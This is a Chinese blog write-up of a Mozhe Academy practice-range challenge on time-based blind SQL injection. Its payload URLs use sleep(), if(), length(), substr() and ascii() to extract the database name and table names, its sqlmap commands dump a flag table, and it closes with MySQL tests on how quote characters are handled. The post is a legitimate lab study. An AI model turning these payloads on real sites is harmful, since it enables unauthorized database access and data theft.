墨者学院SQL注入(时间盲注)

墨者学院SQL注入(时间盲注)(手动注入+sqlmap+对于注入语句中的那个 ’ 的测试)

闲谈

这样写标题比较醒目,主要是想帮帮像我一样的强迫症的小伙伴,(其实我发现是在线靶场的解题思路啥的看的人多,如果有小伙伴对于我的推测有不同见解的地方可以留言),因为我最近在刷墨者靶场的SQL注入部分,所以遇到自己觉得有意思的题会发出来,小伙白也可以留言告诉我一些有意思的靶场(这是属于小白的进阶之路)。

0x00 注入点判断:

提示很明显,如图0:
在这里插入图片描述图0 提示很明显是参数?type=

画风正常一点的payload:http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3)%23

如图1:
在这里插入图片描述图1 这里会有一个明显的延时,执行了sleep(3)。(注意这个是没加上 ’ )

这样的payload:http://219.153.49.228:40659/flag.php?type=1%27%20and%20sleep(3)%23

如图2:
在这里插入图片描述图2 (在?type=1后边加上 ’ ,加上 " )没有执行sleep函数(这里只给一个图)

最离谱的来了,payload:http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3)%27
如图3:
在这里插入图片描述图3 他居然也执行了sleep(3)。。。

加上了 ;的payload:http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3);%23
也可以成功执行sleep(3)

先接着往下走,在mysql测试payload放在最后。(毕竟还是要把靶场打通过)

0x01 构建payload,payload原理分析,使用函数简介:

a.函数简介:

if(a,b,c):
a 是条件 。
b 是当a为True时执行的动作,也就是满足条件是执行的动作 。
c 是当a为False时执行的动作,也就是不满足条件是执行的动作。

length(a):
返回a的长度。

substr(a,b,c):
a 是被当作目标的字符串。
b 是开始截取的位置。
c 是截取的长度。

limit 0,1
从索引值为0的行数开始拉去一行。(mysql索引值从0开始)

ascii(a):
将字符a转化为asc码。

b.构建payload(手动盲注):

b1.首先判断当前数据库长度:

database():查询当前数据库。
payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())%3E5,sleep(3),0)%23

如图4:
在这里插入图片描述图4 成功执行了sleep(3),数据库长度是大于5的。

payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())%3E10,sleep(3),0)%23
如图5:
在这里插入图片描述图5 成功执行了sleep(3),数据库长度大于10

payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())%3E12,sleep(3),0)%23
如图6:
在这里插入图片描述图6 没有执行sleep(3),(之后不截图了吧,不看给你们响应时间你们也看不出来吧。。。)

payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length(database())=12,sleep(3),0)%23
最后数据库长度是等于12的。

b2.判断表的长度:

payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1))=4,sleep(3),0)%23

由此可知第二个表名字的长度为4,修改 limit 函数的参数就可以把所有的表的长度都爆出来。

b3.判断表的名字:

payload: http://219.153.49.228:40659/flag.php?type=1%20and%20if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)%23
这个是第2张表的第一个字母,asc码是102,也就是字母f

payload: http://219.153.49.228:40659
/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=108,sleep(3),1)%23
第二个字母,asc码是108,字符l。
依次类推,可以爆出表名。

c.sqlmap的使用:

话不多说,直接上payload:
sqlmap -u http://219.153.49.228:41887/flag.php?type=1 --dbs -batch
爆数据库。

sqlmap -u http://219.153.49.228:41887/flag.php?type=1 -D pentesterlab --tables --batch
爆表。

sqlmap -u http://219.153.49.228:41887/flag.php?type=1 -D pentesterlab -T flag --columns --batch
爆字段。

sqlmap -u http://219.153.49.228:41887/flag.php?type=1 -D pentesterlab -T flag -C flag --dump --batch
爆内容

(端口不同原因是我出去吃饭了。。。太久靶场关了。)
sqlmap是真香啊。

0x02 在mysql中测试他那个该死的 ’ 到底是什么原因:

我们只是模拟环境,所以也没有特意创建表,插入数据,使用的mysql自带的表(其实就是懒)。
查询语句:select * from user where User = ‘root’;
如下图7:
在这里插入图片描述图7 这是mysql查询的标准语句了。

接下来是我们判断注入点时候的payload。画风正常的其实都可以理解,
?type=1 and sleep(3)%23 。这样相当于是个数字的注入,查询语句中没有用 ’ 或者 " 。

看看奇奇怪怪的payload:
http://219.153.49.228:40659/flag.php?type=1%20and%20sleep(3)%27

将他带入查询语句中大概是这样:
select * from user where User = ‘root’ and sleep(3)’;
我们执行之后,结果如图8:
在这里插入图片描述图8 他提示我补全这个 ’ ,补全之后会爆错。
而且其实仔细看会发现,我前面的手动注入的payload都没有加分号;,也是mysql语句的结束符号然后我就给直接注释掉了后边。
也就是说当代码中单独出现结束符;的时候,必要要出现注释符,
没有;的时候,也可以出现注释符,
';# ";# ;# # ’ " 都是可以的成功执行sleep(3)的(#记得变%23)。
但是按照上面的推断 ?type=1 and sleep(3) 应该也是可以的,但是经过测试网页并不会延时响应。。。

所以在靶场的源码里是不是有一个类似于if的语句,检测我们输入的代码中有没有 分号 ; ,如果没有自动补全。检测我们的代码中有没有 ’ " ,如果有删除?因为如果mysql语句报错是不会执行sleep()函数的,所以我们可以推断源码中删除了我们输入中会报错的 ’ " ,而在我们没有输入 ;时,他自动帮我们补全了 ;,但是我们要是没有输入这些特定的符号时,他不会执行查询语句或者添加了一些符号让数据库报错?从无法执行语句?(逻辑应该没有出现什么问题,其实给我弄得也有点懵。。。)

欢迎各位大佬指正文中的不足与错误,或者提出不同的见解,本人菜鸟,还有很多不足,多多见谅!!!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值